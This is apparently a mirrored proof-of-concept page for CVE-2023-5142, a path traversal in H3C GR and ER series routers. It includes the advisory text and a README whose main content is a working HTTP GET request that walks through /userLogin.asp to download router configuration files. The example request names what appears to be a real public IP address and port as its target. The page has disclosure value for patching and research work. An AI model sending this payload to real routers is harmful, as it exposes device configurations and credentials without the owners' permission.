CVE-2023-5142 PoC — H3C ER6300G2 Config File userLogin.asp path traversal

Source

https://github.com/kuangxiaotu/CVE-H3C-Report

Associated Vulnerability

Title:H3C ER6300G2 Config File userLogin.asp path traversal (CVE-2023-5142)
Description:A vulnerability classified as problematic was found in H3C GR-1100-P, GR-1108-P, GR-1200W, GR-1800AX, GR-2200, GR-3200, GR-5200, GR-8300, ER2100n, ER2200G2, ER3200G2, ER3260G2, ER5100G2, ER5200G2 and ER6300G2 up to 20230908. This vulnerability affects unknown code of the file /userLogin.asp of the component Config File Handler. The manipulation leads to path traversal. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. VDB-240238 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Description

CVE-2023-5142

Readme

# H3C GR series router system management has unauthorized access vulnerability

**Product**: GR series router

**version**: all

**rating**: high-risk

**website**: http://www.h3c.com/

**Hazards**: Attackers can exploit this vulnerability to obtain sensitive information from routers by constructing special request packets to bypass identity verification.

**principle**: The router did not authenticate directory access and related files

**exp**:

Note: It is necessary to modify the file name suffix in POC, such as GR8300.cfg

```http
GET /userLogin.asp/../actionpolicy_status/../GR1100-P.cfg HTTP/1.1
Host: 59.35.220.76:8989
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```
![image](https://github.com/yinsel/CVE-H3C-Report/assets/91541985/a57b8b70-9638-4029-9aba-fb562093458c)

![image](https://github.com/yinsel/CVE-H3C-Report/assets/91541985/7c064b0c-e959-4c8f-871d-d93d4a731d1b)

![image](https://github.com/yinsel/CVE-H3C-Report/assets/91541985/cc49f25b-7ffe-4de9-9668-22a00ef5e315)

File Snapshot


 [4.0K]  /data/pocs/c9580779811b763e6b7328ffbe2b8286e9913fc8
└── [1.1K]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!